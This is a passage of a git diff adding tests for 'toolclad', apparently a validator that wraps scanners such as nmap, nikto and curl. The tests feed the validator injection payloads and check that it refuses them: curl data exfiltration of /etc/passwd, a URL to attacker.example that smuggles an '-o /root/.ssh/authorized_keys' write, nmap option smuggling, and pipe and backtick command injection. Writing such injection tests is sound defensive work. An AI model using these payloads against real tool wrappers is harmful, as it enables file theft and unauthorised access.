loadManifestFromString(manifestWith("ident"), { baseDir: bare }), + /unknown type 'ident'/ + ); + }); +}); + +describe("toolclad.toml is strict", () => { + const load = (text) => { + const { root } = tree(); + const path = join(root, "toolclad.toml"); + writeFileSync(path, text); + return () => loadCustomTypes(path); + }; + + it("refuses unknown keys at both levels", () => { + assert.throws(load(`[other]\nx = 1\n`), /unknown key 'other'/); + assert.throws(load(`[types.x]\nbase = "string"\npatern = "a"\n`), /unknown key 'types\.x\.patern'/); + }); + + it("requires a built-in base and refuses shadowing a built-in", () => { + assert.throws(load(`[types.x]\npattern = "a"\n`), /missing required 'base'/); + assert.throws(load(`${TYPES}\n[types.x]\nbase = "level"\n`), /not a built-in type/); + assert.throws(load(`[types.url]\nbase = "string"\n`), /shadows a built-in type/); + }); + + it("accepts every allowed key", () => { + const types = load(`[types.x] +base = "number" +min = 1 +max = 2 +min_float = 0.5 +max_float = 1.5 + +[types.y] +base = "enum" +allowed = ["a", "b"] + +[types.z] +base = "string" +pattern = "a+" +`)(); + assert.deepEqual(Object.keys(types).sort(), ["x", "y", "z"]); + }); +}); + +describe("load-time type checking covers session and browser command args", () => { + it("refuses an unknown type inside [session.commands.*.args]", () => { + const text = `[tool] +name = "s" +description = "d" + +[session] +startup_command = "psql" +ready_pattern = "^> $" + +[session.commands.select] +pattern = "^SELECT .+$" +description = "q" + +[session.commands.select.args.table] +type = "tablename" +`; + const { sub } = tree(); + assert.throws( + () => loadManifestFromString(text, { baseDir: sub }), + /unknown type 'tablename' for argument 'table'/ + ); + }); + + it("refuses an unknown type inside [browser.commands.*.args]", () => { + const text = `[tool] +name = "b" +description = "d" + +[browser] +engine = "cdp" + +[browser.commands.navigate] +description = "go" + +[browser.commands.navigate.args.where] +type = "location" +`; + const { sub } = tree(); + assert.throws( + () => loadManifestFromString(text, { baseDir: sub }), + /unknown type 'location' for argument 'where'/ + ); + }); +}); diff --git a/js/test/examples.test.js b/js/test/examples.test.js new file mode 100644 index 0000000..4f7c4d2 --- /dev/null +++ b/js/test/examples.test.js @@ -0,0 +1,120 @@ +// The shipped examples, loaded through the same discovery path the CLI uses +// (toolclad.toml and scope/scope.toml searched upward from each manifest), and +// dry-run end to end. Only argv is built; no tool is ever executed. + +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { existsSync, readFileSync, readdirSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { loadManifest } from "../src/manifest.js"; +import { execute } from "../src/executor.js"; + +const JS_DIR = join(dirname(fileURLToPath(import.meta.url)), ".."); +const EXAMPLES = join(JS_DIR, "..", "examples"); +const CLI = join(JS_DIR, "src", "cli.js"); +const SKIP = existsSync(EXAMPLES) + ? false + : `examples directory not found at ${EXAMPLES} (package built outside the repository)`; + +const example = (name) => join(EXAMPLES, `${name}.clad.toml`); + +// Discovery must come from the manifest's location, not the environment. +function withoutDiscoveryOverrides(fn) { + return async () => { + const saved = { + scope: process.env.TOOLCLAD_SCOPE_FILE, + config: process.env.TOOLCLAD_CONFIG_FILE, + }; + delete process.env.TOOLCLAD_SCOPE_FILE; + delete process.env.TOOLCLAD_CONFIG_FILE; + try { + await fn(); + } finally { + if (saved.scope !== undefined) process.env.TOOLCLAD_SCOPE_FILE = saved.scope; + if (saved.config !== undefined) process.env.TOOLCLAD_CONFIG_FILE = saved.config; + } + }; +} + +async function dryRun(name, args) { + return execute(loadManifest(example(name)), args, { dryRun: true }); +} + +describe("shipped examples (W12)", { skip: SKIP }, () => { + it("every example loads, including nikto's custom types", withoutDiscoveryOverrides(() => { + const names = readdirSync(EXAMPLES).filter((f) => f.endsWith(".clad.toml")).sort(); + assert.deepEqual(names, [ + "curl_fetch.clad.toml", + "dig_lookup.clad.toml", + "nikto_scan.clad.toml", + "nmap_scan.clad.toml", + "whois_lookup.clad.toml", + ]); + for (const name of names) { + assert.doesNotThrow(() => loadManifest(join(EXAMPLES, name)), name); + } + })); + + it("`toolclad validate` accepts all five", () => { + const env = { ...process.env }; + delete env.TOOLCLAD_SCOPE_FILE; + delete env.TOOLCLAD_CONFIG_FILE; + for (const name of readdirSync(EXAMPLES).filter((f) => f.endsWith(".clad.toml"))) { + const out = execFileSync(process.execPath, [CLI, "validate", join(EXAMPLES, name)], { + env, + encoding: "utf-8", + }); + assert.match(out, /OK/, name); + } + }); + + it("nikto dry run builds the expected argv with custom types", withoutDiscoveryOverrides(async () => { + const result = await dryRun("nikto_scan", { + target: "93.184.216.34", + port: "8080-8090", + protocol: "https", + max_rate: "250", + }); + for (const token of ["-h", "https://93.184.216.34:8080-8090", "-Plugins", "@@ALL", "-maxrate", "250"]) { + assert.ok(result.argv.includes(token), `argv ${JSON.stringify(result.argv)} lacks ${token}`); + } + })); + + it("nikto refuses a port outside the anchored port_range pattern", withoutDiscoveryOverrides(async () => { + await assert.rejects(dryRun("nikto_scan", { target: "93.184.216.34", port: "80;id" })); + await assert.rejects( + dryRun("nikto_scan", { target: "93.184.216.34", port: "80x" }), + /does not match pattern/ + ); + await assert.rejects( + dryRun("nikto_scan", { target: "93.184.216.34", protocol: "gopher" }), + /gopher/ + ); + })); + + it("curl refuses a public IP literal as out of scope", withoutDiscoveryOverrides(async () => { + await assert.rejects( + dryRun("curl_fetch", { url: "https://93.184.216.34/" }), + /target '93\.184\.216\.34' is not in scope/ + ); + })); + + it("curl refuses a hostname under block_internal without resolving it", withoutDiscoveryOverrides(async () => { + // The JS executor validates synchronously: a hostname under + // block_internal cannot be verified without DNS and is refused. + await assert.rejects( + dryRun("curl_fetch", { url: "https://example.com/" }), + /cannot be verified without DNS resolution/ + ); + })); +}); + +describe("CLI version", () => { + it("reports package.json's version", () => { + const pkg = JSON.parse(readFileSync(join(JS_DIR, "package.json"), "utf-8")); + const out = execFileSync(process.execPath, [CLI, "--version"], { encoding: "utf-8" }); + assert.equal(out.trim(), pkg.version); + }); +}); diff --git a/js/test/executor.test.js b/js/test/executor.test.js index ca474a0..0722b78 100644 --- a/js/test/executor.test.js +++ b/js/test/executor.test.js @@ -50,6 +50,7 @@ describe("buildCommand - basic interpolation", () => { target: { position: 1, required: true, type: "scope_target", description: "t" }, rate: { position: 2, required: false, type: "integer", default: 100, description: "r" }, }, + tool: { binary: "scan" }, command: { template: "scan --rate {rate} {target}" }, }); const result = buildCommand(manifest, { target: "10.0.1.1" }); @@ -61,15 +62,16 @@ describe("buildCommand - command.defaults", () => { it("uses command.defaults for unset context variables", () => { const manifest = makeManifest({ args: { - target: { position: 1, required: true, type: "scope_target", description: "t" }, + target: { position: 1, required: true, type: "scope_target", description: "t", block_internal: true }, }, + tool: { binary: "nmap" }, command: { template: "nmap --max-rate {max_rate} {target}", defaults: { max_rate: 1000 }, }, }); - const result = buildCommand(manifest, { target: "10.0.1.0/24" }); - assert.equal(result.command, "nmap --max-rate 1000 10.0.1.0/24"); + const result = buildCommand(manifest, { target: "93.184.216.0/24" }); + assert.equal(result.command, "nmap --max-rate 1000 93.184.216.0/24"); }); }); @@ -77,7 +79,7 @@ describe("buildCommand - mappings", () => { it("resolves enum value to mapped flags", () => { const manifest = makeManifest({ args: { - target: { position: 1, required: true, type: "scope_target", description: "t" }, + target: { position: 1, required: true, type: "scope_target", description: "t", block_internal: true }, scan_type: { position: 2, required: true, @@ -86,8 +88,9 @@ describe("buildCommand - mappings", () => { description: "s", }, }, + tool: { binary: "nmap" }, command: { - template: "nmap {_scan_flags} {target}", + template: "nmap {_scan_type_flags} {target}", mappings: { scan_type: { ping: "-sn -PE", @@ -99,10 +102,10 @@ describe("buildCommand - mappings", () => { }); const result = buildCommand(manifest, { - target: "10.0.1.0/24", + target: "93.184.216.0/24", scan_type: "service", }); - assert.equal(result.command, "nmap -sT -sV 10.0.1.0/24"); + assert.equal(result.command, "nmap -sT -sV 93.184.216.0/24"); }); }); @@ -137,6 +140,7 @@ describe("buildCommand - validation rejects bad args", () => { description: "m", }, }, + tool: { binary: "tool" }, command: { template: "tool --mode {mode}" }, }); assert.throws( diff --git a/js/test/extended_types.test.js b/js/test/extended_types.test.js index 2d40270..7f430d4 100644 --- a/js/test/extended_types.test.js +++ b/js/test/extended_types.test.js @@ -12,49 +12,49 @@ import { execute } from "../src/executor.js"; // --- msf_options --- describe("validateArg - msf_options", () => { - it("accepts valid key-value pairs", () => { + it("accepts valid key-value pairs", async () => { assert.equal( validateArg({ type: "msf_options" }, "RHOSTS 10.0.0.1"), "RHOSTS 10.0.0.1" ); }); - it("accepts semicolon-separated pairs", () => { + it("accepts semicolon-separated pairs", async () => { assert.equal( validateArg({ type: "msf_options" }, "RHOSTS 10.0.0.1; RPORT 445"), "RHOSTS 10.0.0.1; RPORT 445" ); }); - it("rejects missing value (no space)", () => { + it("rejects missing value (no space)", async () => { assert.throws( () => validateArg({ type: "msf_options" }, "RHOSTS"), /invalid pair/ ); }); - it("rejects lowercase keys", () => { + it("rejects lowercase keys", async () => { assert.throws( () => validateArg({ type: "msf_options" }, "rhosts 10.0.0.1"), /invalid key/ ); }); - it("rejects pipe in value", () => { + it("rejects pipe in value", async () => { assert.throws( () => validateArg({ type: "msf_options" }, "RHOSTS 10.0.0.1|whoami"), /disallowed characters/ ); }); - it("rejects backtick in value", () => { + it("rejects backtick in value", async () => { assert.throws( () => validateArg({ type: "msf_options" }, "RHOSTS `id`"), /disallowed characters/ ); }); - it("allows empty string between semicolons", () => { + it("allows empty string between semicolons", async () => { assert.equal( validateArg({ type: "msf_options" }, "RHOSTS 10.0.0.1;;"), "RHOSTS 10.0.0.1;;" @@ -65,7 +65,7 @@ describe("validateArg - msf_options", () => { // --- credential_file --- describe("validateArg - credential_file", () => { - it("accepts a valid relative file path", () => { + it("accepts a valid relative file path", async () => { const dir = mkdtempSync(join(tmpdir(), "toolclad-cred-")); const file = join(dir, "creds.json"); writeFileSync(file, "{}"); @@ -82,28 +82,28 @@ describe("validateArg - credential_file", () => { } }); - it("rejects absolute paths", () => { + it("rejects absolute paths", async () => { assert.throws( () => validateArg({ type: "credential_file" }, "/etc/passwd"), /relative path|Injection/ ); }); - it("rejects path traversal", () => { + it("rejects path traversal", async () => { assert.throws( () => validateArg({ type: "credential_file" }, "foo/../../../etc/passwd"), /traversal|Injection/ ); }); - it("rejects nonexistent file", () => { + it("rejects nonexistent file", async () => { assert.throws( () => validateArg({ type: "credential_file" }, "no-such-file.json"), /not found/ ); }); - it("rejects a directory", () => { + it("rejects a directory", async () => { const testDir = "test-cred-dir-tmp"; mkdirSync(testDir, { recursive: true }); try { @@ -124,12 +124,12 @@ describe("validateArg - credential_file", () => { // --- duration --- describe("validateArg - duration", () => { - it("accepts plain integer seconds", () => { + it("accepts plain integer seconds", async () => { assert.equal(validateArg({ type: "duration" }, "30"), "30"); assert.equal(validateArg({ type: "duration" }, "0"), "0"); }); - it("accepts duration with suffixes", () => { + it("accepts duration with suffixes", async () => { assert.equal(validateArg({ type: "duration" }, "5m"), "5m"); assert.equal(validateArg({ type: "duration" }, "2h"), "2h"); assert.equal(validateArg({ type: "duration" }, "1h30m"), "1h30m"); @@ -137,7 +137,7 @@ describe("validateArg - duration", () => { assert.equal(validateArg({ type: "duration" }, "1h30m15s"), "1h30m15s"); }); - it("rejects invalid durations", () => { + it("rejects invalid durations", async () => { assert.throws( () => validateArg({ type: "duration" }, "abc"), /Invalid duration/ @@ -156,12 +156,12 @@ describe("validateArg - duration", () => { // --- regex_match --- describe("validateArg - regex_match", () => { - it("accepts values matching pattern", () => { + it("accepts values matching pattern", async () => { const def = { type: "regex_match", pattern: "^[a-z0-9-]+$" }; assert.equal(validateArg(def, "my-scan-123"), "my-scan-123"); }); - it("rejects values not matching pattern", () => { + it("rejects values not matching pattern", async () => { const def = { type: "regex_match", pattern: "^[a-z]+$" }; assert.throws( () => validateArg(def, "HAS-UPPER"), @@ -169,14 +169,14 @@ describe("validateArg - regex_match", () => { ); }); - it("throws when pattern field is missing", () => { + it("throws when pattern field is missing", async () => { assert.throws( () => validateArg({ type: "regex_match" }, "anything"), /requires a 'pattern' field/ ); }); - it("rejects injection even when pattern matches", () => { + it("rejects injection even when pattern matches", async () => { const def = { type: "regex_match", pattern: ".*" }; assert.throws( () => validateArg(def, "foo;bar"), @@ -188,7 +188,7 @@ describe("validateArg - regex_match", () => { // --- validateArgWithCustomTypes --- describe("validateArgWithCustomTypes", () => { - it("falls through to validateArg when no custom type matches", () => { + it("falls through to validateArg when no custom type matches", async () => { const result = validateArgWithCustomTypes( { type: "integer" }, 42, @@ -197,7 +197,7 @@ describe("validateArgWithCustomTypes", () => { assert.equal(result, 42); }); - it("applies custom type with base=enum", () => { + it("applies custom type with base=enum", async () => { const customTypes = { severity: { base: "enum", @@ -212,7 +212,7 @@ describe("validateArgWithCustomTypes", () => { assert.equal(result, "high"); }); - it("rejects disallowed value in custom enum type", () => { + it("rejects disallowed value in custom enum type", async () => { const customTypes = { severity: { base: "enum", @@ -230,7 +230,7 @@ describe("validateArgWithCustomTypes", () => { ); }); - it("applies custom type with base=integer and min/max", () => { + it("applies custom type with base=integer and min/max", async () => { const customTypes = { thread_count: { base: "integer", @@ -257,7 +257,7 @@ describe("validateArgWithCustomTypes", () => { ); }); - it("throws on invalid base type", () => { + it("throws on invalid base type", async () => { const customTypes = { bad_type: { base: "nonexistent" }, }; @@ -276,25 +276,25 @@ describe("validateArgWithCustomTypes", () => { // --- executor session/browser gates --- describe("execute - session/browser gates", () => { - it("throws on session manifest", () => { + it("throws on session manifest", async () => { const manifest = { tool: { name: "psql", description: "test" }, session: { startup_command: "psql" }, args: {}, }; - assert.throws( + await assert.rejects( () => execute(manifest, {}), /session mode is parsed but not yet executable/ ); }); - it("throws on browser manifest", () => { + it("throws on browser manifest", async () => { const manifest = { tool: { name: "browser", description: "test" }, browser: { engine: "cdp" }, args: {}, }; - assert.throws( + await assert.rejects( () => execute(manifest, {}), /browser mode is parsed but not yet executable/ ); diff --git a/js/test/fuzz.test.js b/js/test/fuzz.test.js new file mode 100644 index 0000000..b22ddaa --- /dev/null +++ b/js/test/fuzz.test.js @@ -0,0 +1,175 @@ +// Property tests for the argument validator (W13). For every string-derived +// type the validator either returns a value or throws a plain Error; it never +// throws a programming error (TypeError, RangeError, ...) or a non-Error, and +// an accepted value never violates the hygiene rules: no control character, +// no quote or backslash, no whitespace (msf_options exempt, U+0020 only), and +// no leading '-' or '+'. +// +// No argument here sets block_internal, so nothing resolves DNS. + +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import fc from "fast-check"; +import { validateArg, validateArgMode } from "../src/validator.js"; + +const NUM_RUNS = 2000; + +const ARG_DEFS = [ + { type: "string" }, + { type: "string", pattern: "[\\s\\S]*" }, + { type: "path" }, + { type: "regex_match", pattern: "[\\s\\S]*" }, + { type: "url" }, + { type: "url", schemes: ["http", "https", "ftp", "file", "gopher"] }, + { type: "scope_target" }, + { type: "duration" }, + { type: "msf_options" }, +]; + +// Characters the hygiene rules exist for, plus enough ordinary ones to let +// values reach the type-specific parsers. +const NASTY = [ + "\0", "\t", "\n", "\r", "\v", "\f", "\x1b", "\x7f", "\x85", "\x9f", + " ", "\u00a0", "\u1680", "\u2000", "\u2009", "\u200b", "\u2028", "\u2029", + "\u202e", "\u3000", "\ufeff", "'", '"', "\\", "`", "$", ";", "|", "&", + "<", ">", "(", ")", "{", "}", "[", "]", "*", "?", "!", "#", "%", "~", + "-", "+", "=", ",", "@", ":", "/", ".", "_", + "a", "z", "A", "Z", "0", "1", "9", "x", "s", "m", "h", + "\u0430", "\u0131", "\u212a", "\ud83d\ude00", "\uff0e", "\u2215", +]; + +const nastyString = fc.string({ unit: fc.constantFrom(...NASTY), maxLength: 40 }); + +const value = fc.oneof( + fc.string(), + fc.string({ unit: "binary" }), + nastyString, + fc.tuple( + fc.constantFrom("http://", "https://", "ftp://", "file://", "-", "+", "10.", "a.example.", "RHOSTS "), + nastyString + ).map(([prefix, rest]) => prefix + rest), + fc.tuple(fc.integer({ min: 0, max: 99999 }), fc.constantFrom("", "s", "m", "h", "ms", "d"), nastyString) + .map(([n, unit, rest]) => `${n}${unit}${rest}`) +); + +const CONTROL = /[\u0000-\u001f\u007f-\u009f]/u; +const QUOTE = /['"\\]/u; +const WHITESPACE = /\s/u; +const NON_SPACE_WHITESPACE = /(?! )\s/u; + +const PROGRAMMING_ERRORS = [TypeError, RangeError, ReferenceError, SyntaxError, EvalError, URIError]; + +function assertExpectedError(err, def, input) { + const where = `${def.type} ${JSON.stringify(def)} on ${JSON.stringify(input)}`; + assert.ok(err instanceof Error, `non-Error thrown for ${where}: ${String(err)}`); + for (const bad of PROGRAMMING_ERRORS) { + assert.ok(!(err instanceof bad), `${err.name} for ${where}: ${err.message}`); + } +} + +function assertHygiene(out, def, input, { spaceAllowed }) { + const where = `${def.type} ${JSON.stringify(def)} on ${JSON.stringify(input)} -> ${JSON.stringify(out)}`; + assert.equal(typeof out, "string", `non-string result for ${where}`); + assert.ok(!CONTROL.test(out), `control character accepted: ${where}`); + assert.ok(!QUOTE.test(out), `quote or backslash accepted: ${where}`); + assert.ok(!/^[-+]/u.test(out), `leading dash or plus accepted: ${where}`); + if (spaceAllowed) { + assert.ok(!NON_SPACE_WHITESPACE.test(out), `non-space whitespace accepted: ${where}`); + } else { + assert.ok(!WHITESPACE.test(out), `whitespace accepted: ${where}`); + } +} + +function check(def, input, execMode) { + let out; + try { + out = execMode ? validateArgMode(def, input, true) : validateArg(def, input); + } catch (err) { + assertExpectedError(err, def, input); + return; + } + const spaceAllowed = + def.type === "msf_options" || (execMode && def.allow_whitespace === true); + assertHygiene(out, def, input, { spaceAllowed }); +} + +describe("validator property tests (fast-check)", () => { + it("strict mode: never crashes, never accepts an unhygienic value", () => { + fc.assert( + fc.property(fc.constantFrom(...ARG_DEFS), value, (def, input) => { + check(def, input, false); + }), + { numRuns: NUM_RUNS } + ); + }); + + it("exec mode with allow_whitespace: only U+0020 gets through", () => { + fc.assert( + fc.property(fc.constantFrom(...ARG_DEFS), value, (def, input) => { + check({ ...def, allow_whitespace: true }, input, true); + }), + { numRuns: NUM_RUNS } + ); + }); + + it("a leading dash needs allow_leading_dash; with it the other rules still hold", () => { + fc.assert( + fc.property(fc.constantFrom(...ARG_DEFS), nastyString, (def, rest) => { + const input = `-${rest}`; + assert.throws(() => validateArg(def, input), Error); + let out; + try { + out = validateArg({ ...def, allow_leading_dash: true }, input); + } catch (err) { + assertExpectedError(err, def, input); + return; + } + assert.equal(typeof out, "string"); + assert.ok(!CONTROL.test(out) && !QUOTE.test(out), `unhygienic: ${JSON.stringify(out)}`); + if (def.type !== "msf_options") { + assert.ok(!WHITESPACE.test(out), `whitespace accepted: ${JSON.stringify(out)}`); + } + }), + { numRuns: NUM_RUNS } + ); + }); + + it("non-string inputs are refused or coerced, never crash", () => { + const odd = fc.oneof( + fc.integer(), + fc.double(), + fc.boolean(), + fc.constant(null), + fc.constant(undefined), + fc.array(fc.string(), { maxLength: 3 }), + fc.dictionary(fc.string(), fc.string(), { maxKeys: 2 }) + ); + fc.assert( + fc.property(fc.constantFrom(...ARG_DEFS), odd, (def, input) => { + let out; + try { + out = validateArg(def, input); + } catch (err) { + assertExpectedError(err, def, input); + return; + } + assertHygiene(out, def, input, { spaceAllowed: def.type === "msf_options" }); + }), + { numRuns: NUM_RUNS } + ); + }); +}); + +describe("fuzz regressions", () => { + it("a prototype-less object is refused with a plain Error, not a TypeError", () => { + for (const def of ARG_DEFS) { + assert.throws( + () => validateArg(def, Object.create(null)), + (err) => err.constructor === Error && /must be a string, number or boolean/.test(err.message), + def.type + ); + } + assert.throws(() => validateArg({ type: "string" }, ["a", "b"]), /got array/); + assert.throws(() => validateArg({ type: "integer" }, null), /got null/); + }); +}); diff --git a/js/test/hardening_w1.test.js b/js/test/hardening_w1.test.js new file mode 100644 index 0000000..b1ea467 --- /dev/null +++ b/js/test/hardening_w1.test.js @@ -0,0 +1,922 @@ +import { describe, it, mock } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { loadManifest } from "../src/manifest.js"; +import { + validateArg, + validateArgMode, + validateArgWithCustomTypes, + anchorPattern, +} from "../src/validator.js"; +import { + buildCommand, + buildCommandArgv, + compileCommand, + tokenizeTemplate, + execute, +} from "../src/executor.js"; + +// Tests in this file never run a network tool: commands are echo/true, +// dry runs, or pure argv assertions. + +function writeTmp(content) { + const dir = mkdtempSync(join(tmpdir(), "toolclad-w1-")); + const path = join(dir, "test.clad.toml"); + writeFileSync(path, content); + return path; +} + +function execManifest(exec, args, commandExtra = {}) { + return { + tool: { name: "t", binary: "echo", description: "d" }, + args, + command: { exec, ...commandExtra }, + output: { format: "text" }, + }; +} + +function templateManifest(template, args, commandExtra = {}) { + return { + tool: { name: "t", binary: "echo", description: "d" }, + args, + command: { template, ...commandExtra }, + output: { format: "text" }, + }; +} + +function silenceWarn(t) { + const m = mock.method(console, "warn", () => {}); + if (t && t.after) t.after(() => m.mock.restore()); + return m; +} + +const LEADING_DASH = /must not start with '-' or '\+'/; + +// --- W1.5 value hygiene ----------------------------------------------------- + +describe("W1.5 hygiene - TC-1 payloads", () => { + it("rejects quote-breakout payloads in string", async () => { + assert.throws( + () => validateArg({ type: "string" }, "' -d @/etc/passwd"), + /must not contain quote or backslash characters/ + ); + assert.throws( + () => validateArg({ type: "string" }, "X: y' -d @/etc/passwd -H 'Z: w"), + /must not contain quote or backslash characters/ + ); + }); + + it("rejects quote payloads even in exec mode with allow_whitespace", async () => { + const def = { type: "string", allow_whitespace: true }; + assert.throws( + () => validateArgMode(def, "X: y' -d @/etc/passwd -H 'Z: w", true), + /quote or backslash/ + ); + }); + + it("rejects flag-smuggling payloads in url", async () => { + assert.throws( + () => + validateArg( + { type: "url" }, + "https://attacker.example/ -o /root/.ssh/authorized_keys" + ), + /must not contain whitespace/ + ); + assert.throws( + () => validateArg({ type: "url" }, "https://attacker.example/ -o /tmp/pwned"), + /must not contain whitespace/ + ); + }); + + it("never admits whitespace in url, even with allow_whitespace in exec mode", async () => { + const def = { type: "url", allow_whitespace: true }; + assert.throws( + () => validateArgMode(def, "https://attacker.example/ -o /tmp/pwned", true), + /must not contain whitespace/ + ); + }); +}); + +describe("W1.5 hygiene - TC-2 payloads", () => { + it("rejects nmap option smuggling in string", async () => { + assert.throws( + () => validateArg({ type: "string" }, "-iL /etc/passwd"), + /must not contain whitespace/ + ); + assert.throws( + () => validateArg({ type: "string" }, "--script=/tmp/evil.nse"), + LEADING_DASH + ); + assert.throws( + () => + validateArg( + { type: "string" }, + "--script http-fetch --script-args http-fetch.destination=/tmp/d" + ), + /must not contain whitespace/ + ); + }); + + it("rejects the single-token variants even in exec mode with allow_whitespace", async () => { + const def = { type: "string", allow_whitespace: true }; + assert.throws(() => validateArgMode(def, "-iL /etc/passwd", true), LEADING_DASH); + assert.throws( + () => validateArgMode(def, "--script=/tmp/evil.nse", true), + LEADING_DASH + ); + }); +}); + +describe("W1.5 hygiene - TC-3 leading dash", () => { + it("rejects -rf as path", async () => { + assert.throws(() => validateArg({ type: "path" }, "-rf"), LEADING_DASH); + }); + + it("rejects --output=/etc/cron.d/x as string", async () => { + assert.throws( + () => validateArg({ type: "string" }, "--output=/etc/cron.d/x"), + LEADING_DASH + ); + }); + + it("rejects -1 as integer (rule applied to the output value)", async () => { + assert.throws(() => validateArg({ type: "integer" }, "-1"), LEADING_DASH); + assert.throws(() => validateArg({ type: "integer" }, -1), LEADING_DASH); + }); + + it("rejects +short as string", async () => { + assert.throws(() => validateArg({ type: "string" }, "+short"), LEADING_DASH); + }); + + it("allow_leading_dash = true permits -v", async () => { + assert.equal( + validateArg({ type: "string", allow_leading_dash: true }, "-v"), + "-v" + ); + assert.equal( + validateArg({ type: "integer", allow_leading_dash: true }, "-1"), + -1 + ); + }); + + it("clamping a negative onto a non-negative bound passes", async () => { + assert.equal( + validateArg({ type: "integer", min: 1, max: 10, clamp: true }, "-5"), + 1 + ); + }); + + it("a leading + on a numeric input is normalized away and passes", async () => { + assert.equal(validateArg({ type: "integer" }, "+5"), 5); + }); +}); + +describe("W1.5 hygiene - remaining rules", () => { + it("rejects NUL for every type, including enum and numerics", async () => { + assert.throws( + () => validateArg({ type: "enum", allowed: ["a\0b"] }, "a\0b"), + /must not contain NUL bytes/ + ); + assert.throws( + () => validateArg({ type: "integer" }, "1\0"), + /must not contain NUL bytes/ + ); + assert.throws( + () => validateArg({ type: "string" }, "ab\0c"), + /must not contain NUL bytes/ + ); + }); + + it("rejects C0 control characters and DEL", async () => { + assert.throws( + () => validateArg({ type: "string" }, "ab\x01c"), + /must not contain control characters/ + ); + assert.throws( + () => validateArg({ type: "string" }, "ab\x7fc"), + /must not contain control characters/ + ); + }); + + it("rejects backslash", async () => { + assert.throws( + () => validateArg({ type: "string" }, "a\\b"), + /quote or backslash/ + ); + }); + + it("scope_target keeps its specific backslash message", async () => { + assert.throws( + () => validateArg({ type: "scope_target" }, "a\\b"), + /scope_target must not contain backslash escape sequences/ + ); + }); + + it("rejects whitespace in template mode even with allow_whitespace", async () => { + const def = { type: "string", allow_whitespace: true }; + assert.throws(() => validateArg(def, "a b"), /must not contain whitespace/); + assert.throws( + () => validateArgMode(def, "a b", false), + /must not contain whitespace/ + ); + assert.throws( + () => validateArgMode({ type: "string" }, "a b", true), + /must not contain whitespace/ + ); + }); + + it("accepts whitespace only with allow_whitespace in exec mode", async () => { + const def = { type: "string", allow_whitespace: true }; + assert.equal(validateArgMode(def, "a b", true), "a b"); + }); + + it("rejects Unicode whitespace", async () => { + assert.throws( + () => validateArg({ type: "string" }, "a\u00a0b"), + /must not contain whitespace/ + ); + assert.throws( + () => validateArg({ type: "string" }, "a\u3000b"), + /must not contain whitespace/ + ); + }); + + it("rejects every control character unconditionally, even with allow_whitespace in exec mode", async () => { + const def = { type: "string", allow_whitespace: true }; + for (const bad of ["a\tb", "a\nb", "a\rb", "a\vb", "a\fb", "a\x7fb", "a\x85b", "a\x9fb"]) { + assert.throws( + () => validateArgMode(def, bad, true), + /must not contain control characters/, + JSON.stringify(bad) + ); + } + }); + + it("allow_whitespace in exec mode permits only the ASCII space", async () => { + const def = { type: "string", allow_whitespace: true }; + assert.equal(validateArgMode(def, "X-Trace: abc", true), "X-Trace: abc"); + for (const bad of ["a\u00a0b", "a\u2000b", "a\u2028b", "a\u2029b", "a\u3000b"]) { + assert.throws( + () => validateArgMode(def, bad, true), + /must not contain whitespace/, + JSON.stringify(bad) + ); + } + }); + + it("msf_options is exempt from the whitespace rule but not the others", async () => { + assert.equal( + validateArg({ type: "msf_options" }, "RHOSTS 10.0.0.1"), + "RHOSTS 10.0.0.1" + ); + assert.throws( + () => validateArg({ type: "msf_options" }, "-RHOSTS 10.0.0.1"), + LEADING_DASH + ); + assert.throws( + () => validateArg({ type: "msf_options" }, "RHOSTS 'x'"), + /quote or backslash/ + ); + assert.throws( + () => validateArg({ type: "msf_options" }, "RHOSTS\u00a010.0.0.1"), + /must not contain whitespace/ + ); + assert.throws( + () => validateArg({ type: "msf_options" }, "RHOSTS\t10.0.0.1"), + /must not contain control characters/ + ); + }); + + it("applies hygiene through custom types", async () => { + const customTypes = { tag: { base: "string", pattern: "[a-z]+" } }; + assert.throws( + () => validateArgWithCustomTypes({ type: "tag" }, "-abc", customTypes), + LEADING_DASH + ); + assert.throws( + () => validateArgWithCustomTypes({ type: "tag" }, "a b", customTypes), + /must not contain whitespace/ + ); + }); +}); + +// --- W1.6 pattern anchoring ------------------------------------------------- + +describe("W1.6 pattern anchoring", () => { + it("anchors a bare pattern so partial matches are rejected", async () => { + const def = { type: "string", pattern: "[a-z]+" }; + assert.equal(validateArg(def, "abc"), "abc"); + assert.throws(() => validateArg(def, "abc123"), /does not match pattern/); + assert.throws(() => validateArg(def, "123abc"), /does not match pattern/); + }); + + it("anchors regex_match patterns", async () => { + const def = { type: "regex_match", pattern: "[a-z]+" }; + assert.throws( + () => validateArg(def, "abc123"), + /does not match required pattern/ + ); + }); + + it("anchors custom type patterns", async () => { + const customTypes = { tag: { base: "string", pattern: "[a-z]+" } }; + assert.throws( + () => validateArgWithCustomTypes({ type: "tag" }, "abc123", customTypes), + /does not match pattern/ + ); + }); + + it("strips one leading ^ and one trailing unescaped $", async () => { + assert.equal(anchorPattern("^[a-z]+$"), "^(?:[a-z]+)$"); + assert.equal(anchorPattern("[a-z]+"), "^(?:[a-z]+)$"); + assert.equal(anchorPattern("a\\$"), "^(?:a\\$)$"); + assert.equal(anchorPattern("a\\\\$"), "^(?:a\\\\)$"); + }); + + it("groups alternations so both branches are anchored", async () => { + const def = { type: "string", pattern: "foo|bar" }; + assert.equal(validateArg(def, "bar"), "bar"); + assert.throws(() => validateArg(def, "barx"), /does not match pattern/); + }); +}); + +// --- W1.1 tokenizer --------------------------------------------------------- + +describe("tokenizeTemplate", () => { + it("splits on whitespace", async () => { + assert.deepEqual(tokenizeTemplate("nmap -sS\t{target}"), [ + "nmap", + "-sS", + "{target}", + ]); + }); + + it("groups quoted text into one token and strips the quotes", async () => { + assert.deepEqual(tokenizeTemplate(`curl -H 'X: y' "a b" c`), [ + "curl", + "-H", + "X: y", + "a b", + "c", + ]); + }); + + it("produces an empty token from empty quotes", async () => { + assert.deepEqual(tokenizeTemplate(`a '' b`), ["a", "", "b"]); + }); + + it("honors backslash escapes outside single quotes", async () => { + assert.deepEqual(tokenizeTemplate(`a\\ b c`), ["a b", "c"]); + assert.deepEqual(tokenizeTemplate(`"a\\"b"`), ['a"b']); + assert.deepEqual(tokenizeTemplate(`'a\\b'`), ["a\\b"]); + }); + + it("rejects a placeholder inside quotes", async () => 